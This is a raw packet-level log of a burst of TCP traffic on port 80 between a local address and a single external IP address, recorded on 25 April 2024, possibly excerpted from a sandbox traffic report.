Apr 25, 2024 16:29:11.656740904 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.656769037 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.896755934 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.896778107 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.896789074 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.896801949 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.896847963 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.896868944 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.896883011 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.896920919 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.896958113 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.896960020 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.896996021 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897011995 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897026062 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897038937 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897070885 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897115946 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897130966 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897144079 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897157907 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897165060 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897186995 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897191048 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897228956 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897231102 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897293091 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897298098 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897313118 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897332907 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897341967 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897361994 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897392988 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897397041 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897408009 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897452116 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897459984 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897473097 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897489071 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897505045 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897530079 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897545099 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897558928 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897567034 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897602081 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897618055 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897664070 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897682905 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897707939 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897726059 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897742987 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897774935 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897803068 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897819042 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897841930 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897850037 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897862911 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897886038 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897913933 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897931099 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897944927 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897969961 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.897977114 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.897994995 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898024082 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898041964 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898056030 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898077011 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898091078 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898118973 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898128986 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898154020 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898174047 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898191929 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898211956 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898230076 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898232937 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898276091 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898291111 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898298025 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898313999 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898344040 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898361921 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898405075 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898426056 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898441076 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898473024 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898488045 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898511887 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898525953 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898538113 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898570061 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898744106 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898767948 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898788929 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898807049 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898816109 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898849964 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898849964 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898888111 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898900032 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898919106 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898936033 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898953915 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.898968935 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.898982048 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899002075 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899043083 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899065971 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899090052 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899106979 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899133921 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899151087 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899173975 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899185896 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899228096 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899229050 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899255037 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899276018 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899307013 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899310112 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899343014 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899352074 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899388075 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899399042 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899413109 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899437904 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899442911 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899463892 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899492025 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899507999 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899549961 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899554014 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899581909 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899595976 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899599075 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899617910 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899650097 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899653912 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899698973 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899704933 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899719954 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899746895 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899764061 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899772882 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899780989 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899806023 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899806023 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899828911 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899861097 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899869919 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899914026 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899916887 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899934053 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.899956942 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.899981976 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900032997 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900047064 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900058985 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900074959 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900089025 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900115013 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900137901 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900139093 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900151968 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900172949 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900191069 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900202036 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900228024 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900239944 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900276899 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900281906 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900321007 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900337934 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900387049 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900388956 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900429010 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900437117 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900480986 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900484085 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900531054 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900547028 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900592089 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900604963 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900641918 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900648117 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900681973 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900688887 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900716066 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900732994 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900738955 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900758982 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900764942 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900783062 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900808096 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900835991 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900850058 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900875092 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900892973 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.900903940 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.900940895 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901076078 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901120901 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901182890 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901227951 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901246071 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901274920 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901294947 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901309967 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901314974 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901360035 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901380062 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901426077 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901438951 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901479959 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901493073 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901510000 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901534081 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901561022 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901608944 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901653051 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901689053 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901717901 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901731968 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901762009 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901762962 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901807070 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901810884 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901825905 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901848078 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901875973 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901890993 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901916027 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901935101 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901952982 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.901966095 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.901979923 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902014017 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902033091 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902076006 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902107000 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902146101 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902157068 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902169943 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902187109 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902216911 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902231932 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902273893 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902275085 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902307034 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902322054 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902349949 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902353048 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902391911 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902416945 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902424097 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902446985 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902468920 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902481079 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902494907 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902529955 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902539968 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902546883 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902555943 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902579069 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902592897 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902611017 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902632952 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902662992 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902693987 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902709007 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902740002 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902749062 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902769089 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902784109 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902813911 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902825117 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902868986 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902887106 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.902929068 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.902981043 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903022051 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903038025 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903088093 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903095961 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903142929 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903153896 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903192043 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903198004 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903232098 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903240919 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903280973 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903290987 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903332949 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903347969 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903357983 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903377056 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903398037 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903404951 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903454065 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903466940 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903508902 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903527021 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903553963 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903568983 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903582096 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903590918 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903609991 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903635979 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903649092 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903662920 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903671980 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903706074 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903734922 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903779030 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903785944 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903800011 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903851032 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903852940 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903852940 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903872013 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903892040 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903898001 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903913021 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903938055 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.903948069 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.903996944 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.904016972 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.904043913 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.904068947 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.904079914 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:11.904141903 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:11.904155970 CEST	80	49709	193.233.132.175	192.168.2.5
